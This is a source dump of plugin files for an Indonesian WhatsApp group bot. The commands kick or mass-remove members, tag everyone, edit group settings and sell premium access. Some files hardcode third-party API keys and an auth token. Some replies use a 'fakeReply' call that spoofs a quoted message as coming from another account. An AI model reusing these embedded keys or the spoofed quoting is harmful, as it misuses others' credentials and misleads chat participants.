m.mentionedJid.filter(u => !(u == ownerGroup || u.includes(conn.user.jid))) 6 | for (let user of users) if (user.endsWith('@s.whatsapp.net')) await conn.groupRemove(m.chat, [user]) 7 | conn.fakeReply(m.chat, stc, '0@s.whatsapp.net', '*KICKED BY ' + global.botname + '*', 'status@broadcast') 8 | } 9 | handler.help = ['kick'].map(v => v + ' @user') 10 | handler.tags = ['group'] 11 | handler.command = /^(kick|\-)$/i 12 | handler.owner = false 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = true 16 | handler.private = false 17 | 18 | handler.admin = true 19 | handler.botAdmin = true 20 | 21 | handler.fail = null 22 | handler.limit = false 23 | 24 | module.exports = handler 25 | 26 | -------------------------------------------------------------------------------- /plugins/group-kickall.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | let members_id = groupMembers.map(v => v.jid) 3 | let mentioned = members_id 4 | let using = mentioned.filter(u => !(u == isOwner || u.includes(conn.user.jid))) 5 | for (let member of using) { 6 | if (member.endsWith('@s.whatsapp.net')) 7 | await delay(3000) 8 | await conn.groupRemove(from, members_id) 9 | } 10 | await m.reply(m.chat, 'Done Kicall BY ' + global.botname, m) 11 | } 12 | handler.help = ['kickall'] 13 | handler.tags = ['group'] 14 | handler.command = /^(kickall)$/i 15 | handler.rowner = true 16 | handler.owner = true 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = true 20 | handler.private = false 21 | 22 | handler.admin = true 23 | handler.botAdmin = true 24 | 25 | handler.fail = null 26 | handler.limit = false 27 | 28 | module.exports = handler 29 | 30 | -------------------------------------------------------------------------------- /plugins/group-leave.js: -------------------------------------------------------------------------------- 1 | let handler = async function(m, { conn, args, isPrems, isOwner }) { 2 | 3 | const bot = m.key.remoteJid 4 | const sleep = async (ms) => { 5 | return new Promise(resolve => setTimeout(resolve, ms)); 6 | } 7 | this.reply(m.chat, 'Bye Semuaa', m) 8 | await sleep(5000) 9 | await conn.groupLeave(bot) 10 | } 11 | handler.help = ['leave', 'keluar'] 12 | handler.tags = ['group'] 13 | handler.command = /^(leave|keluar)$/i 14 | handler.owner = false 15 | handler.mods = false 16 | handler.premium = false 17 | handler.group = true 18 | handler.private = false 19 | 20 | handler.admin = true 21 | handler.botAdmin = false 22 | 23 | handler.fail = null 24 | handler.limit = false 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/group-link_group.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | conn.reply(m.chat, 'https://chat.whatsapp.com/' + (await conn.groupInviteCode(m.chat)), m) 3 | } 4 | handler.help = ['linkgroup'] 5 | handler.tags = ['group'] 6 | handler.command = /^link(gro?up)?$/i 7 | handler.owner = false 8 | handler.mods = false 9 | handler.premium = false 10 | handler.group = true 11 | handler.private = false 12 | 13 | handler.admin = false 14 | handler.botAdmin = true 15 | 16 | handler.fail = null 17 | 18 | module.exports = handler 19 | 20 | -------------------------------------------------------------------------------- /plugins/group-list.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | let txt = conn.chats.all().filter(v => v.jid.endsWith('g.us')).map(v =>`${conn.getName(v.jid)}\n${v.jid} [${v.read_only ? 'Left' : 'Joined'}]`).join`\n\n` 3 | conn.reply(m.chat, 'List Groups:\n' + txt, m) 4 | } 5 | handler.help = ['groups', 'grouplist'] 6 | handler.tags = ['info'] 7 | handler.command = /^(group(s|list))$/i 8 | handler.owner = false 9 | handler.mods = false 10 | handler.premium = false 11 | handler.group = false 12 | handler.private = false 13 | 14 | handler.admin = false 15 | handler.botAdmin = false 16 | 17 | handler.fail = null 18 | 19 | module.exports = handler 20 | 21 | -------------------------------------------------------------------------------- /plugins/group-listadmin.js: -------------------------------------------------------------------------------- 1 | let { getGroupAdmins } = require('../system/lib/functions') 2 | let { Presence } = require('@adiwajshing/baileys') 3 | 4 | let handler = async(m, { conn, isGroup, isAdmin, participants, groupMetadata }) => { 5 | 6 | await conn.updatePresence(m.chat, Presence.composing) 7 | 8 | let member = await groupMetadata.participants 9 | let admin = await getGroupAdmins(member) 10 | 11 | conn.reply(m.chat, `┏━━°❀❬ *LIST ADMIN* ❭❀°━━┓\n┃\n${admin.map(v => '┃• @' + v.replace(/@.+/, '')).join('\n')}\n┗━━━━━━━━━━━━━━`, null, { contextInfo: { mentionedJid: admin } }) 12 | } 13 | handler.help = ['listadmin'] 14 | handler.tags = ['group'] 15 | handler.command = /^(listadmin)$/i 16 | handler.group = true 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/group-online.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args }) => { 2 | let id = args && /\d+\-\d+@g.us/.test(args[0]) ? args[0] : m.chat 3 | let online = [...Object.keys(conn.chats.get(id).presences), conn.user.jid] 4 | conn.reply(m.chat, 'List Online:\n' + online.map(v => '- @' + v.replace(/@.+/, '')).join`\n`, m, { 5 | contextInfo: { mentionedJid: online } 6 | }) 7 | } 8 | handler.help = ['here','listonline'] 9 | handler.tags = ['group'] 10 | handler.command = /^(here|(list)?online)$/i 11 | handler.owner = false 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = true 15 | handler.private = false 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | 22 | module.exports = handler 23 | -------------------------------------------------------------------------------- /plugins/group-pengumuman.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | 3 | let handler = async (m, { conn, text, participants }) => { 4 | let users = participants.map(u => u.jid) 5 | conn.reply(m.chat, text, m, { contextInfo: { mentionedJid: users } }) 6 | } 7 | handler.help = ['pengumuman','announce','hidetag'].map(v => v + ' [teks]') 8 | handler.tags = ['group'] 9 | handler.command = /^(pengumuman|announce|hiddentag|hidetag)$/i 10 | handler.owner = false 11 | handler.mods = false 12 | handler.premium = false 13 | handler.group = true 14 | handler.private = false 15 | 16 | handler.admin = true 17 | handler.botAdmin = false 18 | 19 | handler.fail = null 20 | handler.limit = true 21 | 22 | module.exports = handler 23 | 24 | -------------------------------------------------------------------------------- /plugins/group-promote.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, participants }) => { 2 | let members = participants.filter(member => !member.isAdmin).map(member => member.jid) 3 | let users = m.mentionedJid.filter(user => members.includes(user)) 4 | for (let user of users) await conn.groupMakeAdmin(m.chat, [user]).catch(console.log) 5 | conn.reply(m.chat, `Selesai`, m) 6 | } 7 | handler.help = ['promote','admin'].map(v => v + ' @user') 8 | handler.tags = ['group'] 9 | 10 | handler.command = /^(promote|admin)$/i 11 | 12 | handler.group = true 13 | 14 | handler.admin = true 15 | handler.botAdmin = true 16 | 17 | module.exports = handler -------------------------------------------------------------------------------- /plugins/group-resend.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | 3 | let handler = async (m, { conn, text, participants }) => { 4 | if (!m.quoted) throw 'Reply Pesan Yang Ingin Dikirim Ulang!' 5 | let q = m.quoted 6 | let c = m.quoted 7 | let msg = conn.cMod( 8 | m.chat, 9 | conn.prepareMessageFromContent( 10 | m.chat, 11 | { [q.mtype]: c.toJSON() }, 12 | { 13 | quoted: m 14 | } 15 | ), 16 | 'Media Berhasil Dikirim Ulang!' 17 | ) 18 | await conn.relayWAMessage(msg) 19 | } 20 | handler.help = ['resend'] 21 | handler.tags = ['group'] 22 | handler.command = /^(resend)$/i 23 | handler.owner = false 24 | handler.mods = false 25 | handler.premium = false 26 | handler.group = true 27 | handler.private = false 28 | handler.botAdmin = false 29 | 30 | handler.fail = null 31 | handler.limit = true 32 | 33 | module.exports = handler -------------------------------------------------------------------------------- /plugins/group-revoke.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, args, usedPrefix }) => { 2 | let res = await conn.revokeInvite(m.chat) 3 | m.reply('Link Group Berhasil Direset!\n\nLink Baru:\nhttps://chat.whatsapp.com/' + res.code) 4 | } 5 | handler.help = ['revoke'] 6 | handler.tags = ['group'] 7 | handler.command = /^re(voke|new)(invite|link)?$/i 8 | handler.group = true 9 | 10 | handler.admin = true 11 | handler.botAdmin = true 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/group-setProfileGroup.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix, command }) => { 2 | let q = m.quoted ? m.quoted : m 3 | let mime = (q.msg || q).mimetype || '' 4 | if (/image/.test(mime)) { 5 | let img = await q.download() 6 | if (!img) throw 'Gambar tidak ditemukan' 7 | await conn.updateProfilePicture(m.chat, img) 8 | } else throw `kirim/balas gambar dengan caption *${usedPrefix + command}*` 9 | } 10 | handler.help = ['setpp'] 11 | handler.tags = ['group'] 12 | 13 | handler.command = /^setpp$/i 14 | 15 | handler.group = true 16 | handler.admin = true 17 | handler.botAdmin = true 18 | 19 | module.exports = handler -------------------------------------------------------------------------------- /plugins/group-setdesk.js: -------------------------------------------------------------------------------- 1 | let { GroupSettingChange, mentionedJid } = require('@adiwajshing/baileys') 2 | 3 | let handler = async (m, { conn, text, usedPrefix }) => { 4 | 5 | if (!text) return conn.reply(m.chat, 'Teks Deskripsinya apa?', m) 6 | 7 | let id = m.key.remoteJid 8 | let desk = `${text}`; 9 | let idgrup = `${id.split("@s.whatsapp.net")[0]}`; 10 | conn.groupUpdateDescription(idgrup, desk) 11 | conn.reply(m.chat, 'Sukses mengganti Deskripsi Group!', m) 12 | } 13 | handler.help = ['setdesk '] 14 | handler.tags = ['group'] 15 | handler.command = /^(setdesk)$/i 16 | handler.owner = false 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = true 20 | handler.private = false 21 | 22 | handler.admin = true 23 | handler.botAdmin = true 24 | 25 | handler.fail = null 26 | 27 | module.exports = handler 28 | -------------------------------------------------------------------------------- /plugins/group-setname.js: -------------------------------------------------------------------------------- 1 | let { GroupSettingChange, mentionedJid } = require('@adiwajshing/baileys') 2 | 3 | let handler = async (m, { conn, text, usedPrefix }) => { 4 | 5 | if (!text) return conn.reply(m.chat, 'Teks Namanya apa?', m) 6 | 7 | let id = m.key.remoteJid 8 | let nama = `${text}`; 9 | let idgrup = `${id.split("@s.whatsapp.net")[0]}`; 10 | conn.groupUpdateSubject(idgrup, nama); 11 | conn.reply(m.chat, 'Sukses mengganti Nama Group!', m) 12 | } 13 | handler.help = ['setname '] 14 | handler.tags = ['group'] 15 | handler.command = /^(setname)$/i 16 | handler.owner = false 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = true 20 | handler.private = false 21 | 22 | handler.admin = true 23 | handler.botAdmin = true 24 | 25 | handler.fail = null 26 | 27 | module.exports = handler 28 | -------------------------------------------------------------------------------- /plugins/group-setpptext.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | 3 | let handler = async (m, { conn, text }) => { 4 | 5 | if (!text) throw `Teksnya Mana?` 6 | if (text > 10) throw `Teks Kepanjangan untuk dijadikan PP!` 7 | let res = await fetch('https://api.areltiyan.site/sticker_maker?text=' + encodeURIComponent(text)) 8 | let json = await res.json() 9 | let icon = Buffer.from(json.base64.split`,`[1], 'base64') 10 | 11 | await conn.updateProfilePicture(m.chat, icon) 12 | await m.reply(`Berhasil mengubah PP Grup menjadi *${text}*!`) 13 | } 14 | handler.help = ['setpptext','seticontext'] 15 | handler.tags = ['group'] 16 | handler.command = /^set(icon|pp)text$/i 17 | handler.owner = false 18 | handler.mods = false 19 | handler.premium = false 20 | handler.group = true 21 | handler.private = false 22 | 23 | handler.admin = true 24 | handler.botAdmin = true 25 | 26 | handler.fail = null 27 | handler.exp = 0 28 | handler.limit = false 29 | 30 | module.exports = handler 31 | -------------------------------------------------------------------------------- /plugins/group-tagme.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | 3 | let orang = (await conn.groupMetadata(m.chat)).participants.map(u => u.jid) 4 | let tag = `@${m.sender.replace(/@.+/, '')}` 5 | let mentionedJid = [m.sender] 6 | 7 | conn.reply(m.chat, tag, m, { contextInfo: { mentionedJid }}) 8 | } 9 | handler.help = ['tagme'] 10 | handler.tags = ['group'] 11 | handler.command = /^tagme$/i 12 | 13 | handler.group = true 14 | 15 | module.exports = handler 16 | -------------------------------------------------------------------------------- /plugins/hadiah-bonus.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn }) => { 2 | if (new Date - global.db._data.users[m.sender].lastclaim > 86400000) { 3 | conn.reply(m.chat, 'Nih Gw Kasih Modal Buat Jadi Bot 100.000 Rupiah', m) 4 | global.db.data.users[m.sender].exp += 100000 5 | global.db.data.users[m.sender].lastclaim = new Date * 1 6 | } else conn.reply(m.chat, 'Usaha Ngab Kalo Mau Dapat Uang Tambahan:v', m) 7 | } 8 | handler.help = ['bonus', 'hadiah'] 9 | handler.tags = ['hadiah'] 10 | handler.command = /^(bonus|hadiah)$/i 11 | handler.owner = true 12 | handler.mods = false 13 | handler.premium = false 14 | handler.group = false 15 | handler.private = true 16 | 17 | handler.admin = false 18 | handler.botAdmin = false 19 | 20 | handler.fail = null 21 | handler.exp = 0 22 | 23 | module.exports = handler 24 | 25 | -------------------------------------------------------------------------------- /plugins/hadiah-buygift.js: -------------------------------------------------------------------------------- 1 | let handler = async m => m.reply(` 2 | ╭─「 BUY GIFT CODE 」 3 | │ 4 | │ > Keterangan : 5 | │• Fitur Gift adalah fitur kode yang berisi 6 | │hadiah! Anda bisa mendapatkan exp & limit 7 | │sepuasnya! Hingga masa berlaku kodegiftnya habis! 8 | │ 9 | │ > Harga : 10 | │• 5K / Minggu (7 Hari) 11 | │• 15K / Bulan (4 Minggu) 12 | │• 30K / VIP (Permanen) 13 | │ 14 | │ > Pembayaran : 15 | │• Dana : global.dana 16 | │• Gopay : global.gopay 17 | ╰──── 18 | `.trim()) // Tambah sendiri kalo mau 19 | handler.help = ['buygift'] 20 | handler.tags = ['hadiah'] 21 | handler.command = /^(buygift)$/i 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/hadiah-event.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix: _p }) => { 2 | let event = ` 3 | ┏━°❀❬ *EVENT MINGGUAN * ❭❀°━┓ 4 | ┃ 5 | ┃> Tidak ada Event Minggu ini! 6 | ┃ 7 | ┗━━━━━━━━━━━━━━━━ 8 | `.trim() 9 | 10 | conn.fakeReply(m.chat, event, '0@s.whatsapp.net', '*Eventnya Udahan :(*') 11 | } 12 | handler.help = ['event'] 13 | handler.tags = ['hadiah'] 14 | handler.command = /^(event)$/i 15 | 16 | handler.fail = null 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/hadiah-gift.js: -------------------------------------------------------------------------------- 1 | let handler = async(m, { conn, args, usedPrefix }) => { 2 | if (args.length == 0) return conn.reply(m.chat, `Harap masukan Kode Giftmu!`, m) 3 | if (args[0] == 'ZeroChanBot' || args[0] == 'YahaWahyu' || args[0] == 'RakuChan' || args[0] == 'ABCLIMADASARNEGARA') { 4 | 5 | conn.reply(m.chat, '*SELAMAT!*\n\nKamu telah mendapatkan\n50000 XP!\n\nPajak -100 limit', m) 6 | global.db.data.users[m.sender].exp += 50000 7 | } else { 8 | conn.reply(m.chat, `*KODE GIFT TIDAK VALID!*\n\nSilahkan Hubungi Owner Untuk Beli Kode Gift Yang Valid Dengan Cara Ketik ${prefix}buygift Atau Dapatkan Kode Gift Secara Gratis Dengan Cara Berdaftar!`, m) 9 | } 10 | } 11 | handler.help = ['gift '] 12 | handler.tags = ['hadiah'] 13 | handler.command = /^(gift)$/i 14 | 15 | handler.limit = 100 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/image-cat.js: -------------------------------------------------------------------------------- 1 | //created by Scooppt 2 | let fetch = require('node-fetch') 3 | 4 | let handler = async (m, { conn, text }) => { 5 | try { 6 | let res = await fetch('https://cataas.com/cat') 7 | let img = await res.buffer() 8 | conn.sendFile(m.chat, img, 'cat.jpg', mess.sukses, m) 9 | } catch (e) { 10 | console.log(e) 11 | throw '_*Error!*_' 12 | } 13 | } 14 | 15 | handler.help = ['cat'] 16 | handler.tags = ['image'] 17 | handler.command = /^cat$/i 18 | 19 | handler.fail = null 20 | 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/image-couple.js: -------------------------------------------------------------------------------- 1 | let fetch = require("node-fetch") 2 | 3 | let handler = async (m, { conn }) => { 4 | let res = await fetch(global.API('LeysCoder', '/api/ppcouple', {}, 'apikey')) 5 | if (!res.ok) throw await res.text() 6 | let json = await res.json() 7 | if (!json.status) throw json 8 | await conn.sendFile(m.chat, json.result.male, '', 'cowo', m) 9 | await conn.sendFile(m.chat, json.result.female, '', 'cewe', m) 10 | } 11 | handler.help = ['ppcouple', 'ppcp'] 12 | handler.tags = ['image'] 13 | handler.command = /^(pp(cp|couple))$/i 14 | 15 | module.exports = handler -------------------------------------------------------------------------------- /plugins/image-darkjoke.js: -------------------------------------------------------------------------------- 1 | let handler = async(m, { conn }) => { 2 | conn.sendFile(m.chat, global.API('xteam', '/asupan/darkjoke', {}, 'APIKEY'), '', mess.sukses,m) 3 | } 4 | handler.help = ['darkjokes'] 5 | handler.tags = ['image'] 6 | handler.command = /^(dragjoles|darkjokes)$/i 7 | 8 | module.exports = handler 9 | -------------------------------------------------------------------------------- /plugins/image-estetik.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | response = args.join(' ').split('|') 4 | await conn.reply(m.chat, mess.wait, 0, { thumbnail: await(await fetch(ext.thum)).buffer(), contextInfo: { 5 | externalAdReply: { 6 | mediaUrl: 'https://youtu.be/-tKVN2mAKRI', 7 | title: ext.title, 8 | body: ext.body, 9 | thumbnail: await(await fetch(ext.thum)).buffer() 10 | } 11 | } 12 | } 13 | ) 14 | let res = await fetch(`https://leyscoders-api.herokuapp.com/api/estetik?apikey=MIMINGANZ`) 15 | let json = await res.json() 16 | conn.sendFile(m.chat, json.result, 'estetik.jpg', mess.sukses, m, false) 17 | } 18 | handler.help = ['estetik'].map(v => v + ' ') 19 | handler.tags = ['image'] 20 | handler.command = /^(estetik)$/i 21 | 22 | module.exports = handler 23 | 24 | -------------------------------------------------------------------------------- /plugins/image-meme.js: -------------------------------------------------------------------------------- 1 | //created by Scooppt 2 | let fetch = require('node-fetch') 3 | 4 | let handler = async (m, { conn, text }) => { 5 | try { 6 | let res = await fetch('https://meme-api.herokuapp.com/gimme') 7 | let json = await res.json() 8 | if (json.status) throw json 9 | let caption = ` 10 | Author: ${json.author} Subreddit: ${json.subreddit} 11 | ${json.postLink} 12 | `.trim() 13 | conn.sendFile(m.chat, json.url, 'test.jpg', caption, m) 14 | } catch (e) { 15 | console.log(e) 16 | throw '_*Error!*_' 17 | } 18 | } 19 | 20 | handler.help = ['meme'] 21 | handler.tags = ['image'] 22 | handler.command = /^meme$/i 23 | 24 | handler.fail = null 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/image-meme_choose.js: -------------------------------------------------------------------------------- 1 | //created by Scooppt 2 | let fetch = require('node-fetch') 3 | 4 | let handler = async (m, { conn, args, text }) => { 5 | try { 6 | if (!text) return m.reply('What are you looking for?') 7 | let res = await fetch('https://meme-api.herokuapp.com/gimme/' + text) 8 | let json = await res.json() 9 | if (json.status) throw json 10 | let caption = ` 11 | Author: ${json.author} Subreddit: ${json.subreddit} 12 | ${json.postLink} 13 | `.trim() 14 | conn.sendFile(m.chat, json.url, '', caption, m) 15 | } catch (e) { 16 | console.log(e) 17 | throw 'Error!' 18 | } 19 | } 20 | 21 | handler.help = ['memesub (subreddit)'] 22 | handler.tags = ['image'] 23 | handler.command = /^memesub$/i 24 | 25 | handler.fail = null 26 | 27 | module.exports = handler 28 | -------------------------------------------------------------------------------- /plugins/image-pinterest.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, text, usedPrefix, command }) => { 3 | if (!text) throw `uhm. cari apa?\n\ncontoh:\n${usedPrefix + command} logo` 4 | let res = await fetch(`https://api.lolhuman.xyz/api/pinterest?apikey=Dawnfrostkey&query=${text}`) 5 | if (!res.ok) throw await `${res.status} ${res.statusText}` 6 | let json = await res.json() 7 | if (!json.status) throw json 8 | conn.sendButton(m.chat, await (await fetch(json.result)).buffer(), 'Nih', mess.wm, 'Next', `${usedPrefix + command} ${text}`, m, 0, { thumbnail: await (await fetch(json.result)).buffer() }) 9 | } 10 | handler.help = ['pinterest '] 11 | handler.tags = ['image'] 12 | handler.command = /^(pint(erest)?)$/i 13 | 14 | module.exports = handler 15 | -------------------------------------------------------------------------------- /plugins/image-wallpaperq.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch') 2 | 3 | let handler = async (m, { conn, text }) => { 4 | if (!text) throw 'Nyari apa?' 5 | let res = await fetch(global.API('https://wall.alphacoders.com/api2.0','/get.php', { 6 | auth: '3e7756c85df54b78f934a284c11abe4e', 7 | method: 'search', 8 | term: text 9 | })) 10 | if (!res.ok) throw await res.text() 11 | let json = await res.json() 12 | let img = json.wallpapers[Math.floor(Math.random() * json.wallpapers.length)] 13 | await conn.sendFile(m.chat, img.url_image, 'wallpaper', 'Nih wallpaper!', m) 14 | } 15 | handler.help = ['wallpaperq '] 16 | handler.tags = ['image'] 17 | handler.command = /^wall(paper)?q?$/i 18 | handler.limit = true 19 | 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/image-wp1.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | let res = await fetch(`https://recoders-area.caliph.repl.co/api/wallpaper/cyberspace?apikey=FreeApi`) 4 | let json = await res.json() 5 | conn.sendFile(m.chat, pickRandom(json.result), '.png', `Wallpaper nya kak.`, m, false) 6 | } 7 | handler.help = ['wpcyberspace'] 8 | handler.tags = ['image'] 9 | 10 | handler.command = /^(wpcyberspace)$/i 11 | 12 | module.exports = handler 13 | 14 | function pickRandom(list) { 15 | return list[Math.floor(list.length * Math.random())] 16 | } -------------------------------------------------------------------------------- /plugins/image-wp2.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | let res = await fetch(`https://recoders-area.herokuapp.com/api/wallpaper/teknologi?apikey=FreeApi`) 4 | let json = await res.json() 5 | conn.sendFile(m.chat, pickRandom(json.result), '.png', `Wallpaper nya kak.`, m, false) 6 | } 7 | handler.help = ['wpteknologi'] 8 | handler.tags = ['image'] 9 | 10 | handler.command = /^(wpteknologi)$/i 11 | 12 | module.exports = handler 13 | 14 | function pickRandom(list) { 15 | return list[Math.floor(list.length * Math.random())] 16 | } -------------------------------------------------------------------------------- /plugins/image-wp3.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | let res = await fetch(`https://recoders-area.herokuapp.com/api/wallpaper/programming?apikey=FreeApi`) 4 | let json = await res.json() 5 | conn.sendFile(m.chat, pickRandom(json.result), '.png', `Wallpaper nya kak.`, m, false) 6 | } 7 | handler.help = ['wpprogramming'] 8 | handler.tags = ['image'] 9 | 10 | handler.command = /^(wpprogramming)$/i 11 | 12 | module.exports = handler 13 | 14 | function pickRandom(list) { 15 | return list[Math.floor(list.length * Math.random())] 16 | } -------------------------------------------------------------------------------- /plugins/image-wp4.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | let res = await fetch(`https://recoders-area.herokuapp.com/api/wallpaper/muslim?apikey=MIMINGANZ`) 4 | let json = await res.json() 5 | conn.sendFile(m.chat, pickRandom(json.result), '.png', `Wallpaper nya kak.`, m, false) 6 | } 7 | handler.help = ['wpmuslim'] 8 | handler.tags = ['image'] 9 | 10 | handler.command = /^(wpmuslim)$/i 11 | 12 | module.exports = handler 13 | 14 | function pickRandom(list) { 15 | return list[Math.floor(list.length * Math.random())] 16 | } -------------------------------------------------------------------------------- /plugins/image-wp5.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | let res = await fetch(`https://recoders-area.herokuapp.com/api/wallpaper/pegunungan?apikey=MIMINGANZ`) 4 | let json = await res.json() 5 | conn.sendFile(m.chat, pickRandom(json.result), '.png', `Wallpaper nya kak.`, m, false) 6 | } 7 | handler.help = ['wppegunungan'] 8 | handler.tags = ['image'] 9 | 10 | handler.command = /^(wppegunungan)$/i 11 | 12 | module.exports = handler 13 | 14 | function pickRandom(list) { 15 | return list[Math.floor(list.length * Math.random())] 16 | } -------------------------------------------------------------------------------- /plugins/info-bannedList.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix }) => { 2 | let chats = Object.entries(global.db.data.chats).filter(chat => chat[1].isBanned) 3 | let users = Object.entries(global.db.data.users).filter(user => user[1].banned) 4 | 5 | m.reply(` 6 | ┌ *Daftar Chat Terbanned* 7 | │ Total : ${chats.length} Chat${chats ? '\n' + chats.map(([jid], i) => ` 8 | │ ${i + 1}. ${conn.getName(jid) == undefined ? 'Unknown' : conn.getName(jid)} 9 | │ ${jid} 10 | `.trim()).join('\n') : ''} 11 | └──── 12 | 13 | ┌ *Daftar User Terbanned* 14 | │ Total : ${users.length} User${users ? '\n' + users.map(([jid], i) => ` 15 | │ ${i + 1}. ${conn.getName(jid) == undefined ? 'Unknown' : conn.getName(jid)} 16 | │ ${jid} 17 | `.trim()).join('\n') : ''} 18 | └──── 19 | `.trim()) 20 | } 21 | handler.help = ['bannedlist'] 22 | handler.tags = ['info'] 23 | handler.command = /^listban(ned)?|ban(ned)?list|daftarban(ned)?$/i 24 | module.exports = handler 25 | -------------------------------------------------------------------------------- /plugins/info-creator.js: -------------------------------------------------------------------------------- 1 | let handler = function (m) { 2 | let contacts = [] 3 | for (let owner of Object.entries(global.Owner).filter(v => v[1].isCreator)) { 4 | contacts.push(...[owner[0], owner[1].name]) 5 | } 6 | if (contacts.length < 3) return this.sendContact(m.chat, contacts[0], contacts[1], m) 7 | this.sendContactArray(m.chat, contacts, m) 8 | } 9 | handler.help = ['owner', 'creator'] 10 | handler.tags = ['info'] 11 | 12 | handler.command = /^(owner|creator)$/i 13 | 14 | module.exports = handler 15 | -------------------------------------------------------------------------------- /plugins/info-database.js: -------------------------------------------------------------------------------- 1 | let handler = async (m) => { 2 | let totalreg = Object.keys(global.db.data.users).length 3 | let rtotalreg = Object.values(global.db.data.users).filter(user => user.registered == true).length 4 | m.reply(`*Jumlah database saat ini ${totalreg} user*`) 5 | } 6 | handler.help = ['database', 'user'] 7 | handler.tags = ['info'] 8 | handler.command = /^(database|jumlahdatabase|user)$/i 9 | module.exports = handler -------------------------------------------------------------------------------- /plugins/info-donasi.js: -------------------------------------------------------------------------------- 1 | let handler = async m => m.reply(` 2 | ┏━━°❀❬ *DONASI* ❭❀°━━┓ 3 | ┣➥ *Dana:* global.donasi.dana 4 | ┣➥ *Pulsa:* global.donasi.pulsa 5 | ┣➥ *Gopay:* global.donasi.gopay 6 | ┣➥ *Saweria:* global.donasi.saweria 7 | ┗━━━━━━━━━━━━━━━━ 8 | `.trim()) // Tambah sendiri kalo mau 9 | handler.help = ['donasi'] 10 | handler.tags = ['info'] 11 | handler.command = /^dona(te|si)$/i 12 | 13 | module.exports = handler 14 | -------------------------------------------------------------------------------- /plugins/info-gcbot.js: -------------------------------------------------------------------------------- 1 | let handler = async m => m.reply(` 2 | *LIST GC BOT* 3 | 4 | ${(global.linkGC).map((v, i) => '*GROUP ' + (i + 1) + '*\n' + v).join`\n\n`} 5 | `.trim()) 6 | handler.help = ['gcbot'] 7 | handler.tags = ['info'] 8 | handler.command = /^gcbot$/i 9 | 10 | module.exports = handler 11 | -------------------------------------------------------------------------------- /plugins/info-invite.js: -------------------------------------------------------------------------------- 1 | let handler = m => m.reply(`Gunakan !join untuk memasukan Bot`) 2 | 3 | handler.customPrefix = /^Undangan/i 4 | handler.command = new RegExp 5 | handler.premium = true 6 | 7 | module.exports = handler 8 | -------------------------------------------------------------------------------- /plugins/info-pembayaran.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix: _p }) => { 2 | let info = ` 3 | ╔════════════════════ 4 | ║ *PEMBAYARAN* 5 | ╠════════════════════ 6 | ║╭───❉ *VIA* ❉───── 7 | ║│ 8 | ║│➸ *PULSA*:089520306297 9 | ║│ 10 | ║╰────────────────── 11 | ║ Silahkan Ketik *UP* 12 | ╠════════════════════ 13 | ║ 14 | ╠════════════════════ 15 | ║ _*POWERED BY ZEVANO*_ 16 | ╚════════════════════ 17 | `.trim() 18 | 19 | conn.fakeReply(m.chat, info, '0@s.whatsapp.net', '*🔥PEMBAYARAN🔥*', 'status@broadcast') 20 | } 21 | handler.help = ['pembayaran'] 22 | handler.tags = ['info'] 23 | handler.command = /^pembayaran$/i 24 | 25 | module.exports = handler 26 | -------------------------------------------------------------------------------- /plugins/info-premium.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix: _p }) => { 2 | let info = ` 3 | ╭─「 BUY PREMIUM & SEWA 」 4 | │ 5 | │ + *Premium* 6 | │ > Keuntungan : 7 | │• Limit Tidak Terbatas! 8 | │• Fitur Premium Dapat Digunakan! 9 | │ 10 | │ > Harga : 11 | │• 10K / Weekly (Mingguan) 12 | │• 20K / Monthly (Bulanan) 13 | │ 14 | │ + *Sewa* 15 | │• 5K / Minggu 16 | │• 20K / Bulan 17 | │ 18 | │ + *Pembayaran* 19 | │• TRI : 089520306297 20 | ╰──── 21 | `.trim() 22 | 23 | conn.fakeReply(m.chat, info, '0@s.whatsapp.net', '*BOT 